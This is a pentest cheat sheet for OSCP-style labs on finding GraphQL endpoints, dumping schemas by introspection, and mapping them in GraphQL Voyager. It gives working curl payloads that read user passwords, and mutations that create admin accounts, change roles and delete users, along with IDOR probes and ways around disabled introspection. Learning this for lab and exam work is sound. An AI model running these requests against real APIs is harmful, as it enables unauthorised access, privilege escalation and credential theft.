GraphQL — API Enumeration & GraphQL Voyager
Ctrl+F:
IntrospectionQuery·/graphql·graphql-voyager·__schema·mutation·apis.guru
GraphQL exposes a single endpoint (often /graphql) where clients send queries (read) and mutations (write). If introspection is enabled, you can dump the entire API schema — fields, types, arguments — without documentation.
Live visualizer: GraphQL Voyager · GitHub: APIs-guru/graphql-voyager
📌 When to use this
Web app / API on 80/443
│
├─ Gobuster/ffuf found /graphql · /api/graphql · /v1/graphql · /graphiql
├─ Response mentions "GraphQL" · JSON with "errors" + "query"
├─ POST with Content-Type: application/json to /api
│
└─ Run introspection → map schema → hunt admin mutations · IDOR · cred fields
Pair with Gobuster · ffuf · Burp Suite · Curl · Initial foothold
📌 1) Find the GraphQL endpoint
Common paths
/graphql
/graphiql
/graphql/console
/api/graphql
/v1/graphql
/query
/gql
/playground
/altair
# Dir brute — SecLists API wordlist
gobuster dir -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u http://TARGET/FUZZ -mc 200,301,302,401,403
# Quick probe
curl -s -o /dev/null -w "%{http_code}" http://TARGET/graphql
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}'GraphiQL / Playground in browser = introspection often one click away.
📌 2) Introspection query
Standard query to dump the full schema (same as Voyager COPY INTROSPECTION QUERY):
query IntrospectionQuery {
__schema {
queryType { name kind }
mutationType { name kind }
subscriptionType { name kind }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
}
}Save as introspection.json payload:
{"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { name kind fields { name } } } } }"}Full query is large — use Voyager copy button or save .graphql file and wrap in JSON.
📌 3) Run introspection (curl)
ENDPOINT="http://TARGET/graphql"
# Minimal sanity check
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
-d '{"query":"{ __typename }"}'
# Full introspection — save response
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
-d @introspection_min.json -o schema.json
# With auth (JWT / session / API key)
curl -s "$ENDPOINT" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-H "Cookie: session=VALUE" \
-d @introspection_min.json -o schema.json
# GET-style (some misconfigs allow query in URL)
curl -s "$ENDPOINT?query=%7B__typename%7D"Burp: Send POST to Repeater → paste JSON body → inspect data.__schema.types[].
📌 4) GraphQL Voyager — visual schema map
Voyager renders the schema as an interactive graph (types as nodes, relationships as edges).
Workflow (matches UI — INTROSPECTION tab)
- Open https://apis.guru/graphql-voyager/
- Click Change Schema (or settings) → tab INTROSPECTION
- COPY INTROSPECTION QUERY → run against target (curl / Burp)
- Paste the JSON response into the textarea
- Click DISPLAY → explore Query / Mutation types, fields, args
Schema is processed in-browser only — not sent to third parties (useful on exam/lab).
What to click in Voyager
| Area | Look for |
|---|---|
| Query root | users, user(id), me, admin, files, secrets |
| Mutation root | createUser, updatePassword, deleteUser, login, register |
| Types | User, Admin, Credential, File, Config |
| Field args | id, userId, role — IDOR candidates |
| Scalars | password, token, apiKey, secret field names |
Skip Relay option simplifies graph (hides connection/pagination wrapper types).
Direct connect (if Voyager can reach target — rare on lab VPN): some builds allow endpointUrl — usually you paste introspection JSON instead.
📌 5) What to hunt after mapping
High-value queries
# List users
{ users { id username email password role } }
# Single user by ID — try other IDs (IDOR)
{ user(id: 1) { id username email } }
# Current session
{ me { id role isAdmin } }High-value mutations
mutation { updateUser(id: 1, role: "admin") { id role } }
mutation { createUser(username: "hacker", password: "P@ss", role: "admin") { id } }
mutation { deleteUser(id: 2) { success } }OSCP checklist
| Check | Why |
|---|---|
| Mutations without auth | Privilege escalation, user create |
IDOR on id args | Read other users’ data |
| Sensitive fields in schema | password, hash, token, ssn |
| Batch / alias abuse | Rate-limit bypass (multiple ops one request) |
| Nested queries | DoS depth/complexity (usually out of OSCP scope) |
| Subscriptions over WS | ffuf /graphql + websocket paths |
# Grep saved schema.json for juicy names
grep -iE "password|secret|token|admin|credential|flag" schema.json📌 6) Introspection disabled?
Try anyway — labs often leave it on. If blocked:
# Partial / typo queries sometimes leak hints in errors
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}'
# Field suggestion errors: "Cannot query field \"foo\" on type \"Query\". Did you mean \"users\"?"
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
-d '{"query":"{ foo }"}'Tools (optional): clairvoyance (wordlist-driven schema recovery) · graphql-cop (misconfig scanner).
📌 7) Minimal introspection (smaller payload)
When full query is blocked by WAF/size limits:
{
"query": "query { __schema { queryType { name fields { name args { name type { name } } } } mutationType { name fields { name } } types { name kind fields { name } } } }"
}Or type names only:
{"query": "{ __schema { types { name kind } } }"}📌 8) Example lab flow
# 1. Find endpoint
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u http://TARGET/FUZZ -mc 200,301,302,403
# 2. Introspect
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq . > schema.json
# 3. Visualize
# → Paste schema.json into https://apis.guru/graphql-voyager/ (INTROSPECTION tab)
# 4. Abuse
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
-d '{"query":"{ users { id username password } }"}'
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
-d '{"query":"mutation { register(username:\"pwn\",password:\"pwn\",role:\"admin\"){ id } }"}'→ Pretty Print (jq) for JSON
📌 Quick cheat sheet
# Endpoint probe
curl -s http://TARGET/graphql -H "Content-Type: application/json" -d '{"query":"{ __typename }"}'
# Dump schema
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
-d @introspection.json -o schema.json
# Voyager: https://apis.guru/graphql-voyager/ → INTROSPECTION → paste JSON → DISPLAY
# Hunt fields
grep -iE "user|admin|password|mutation" schema.json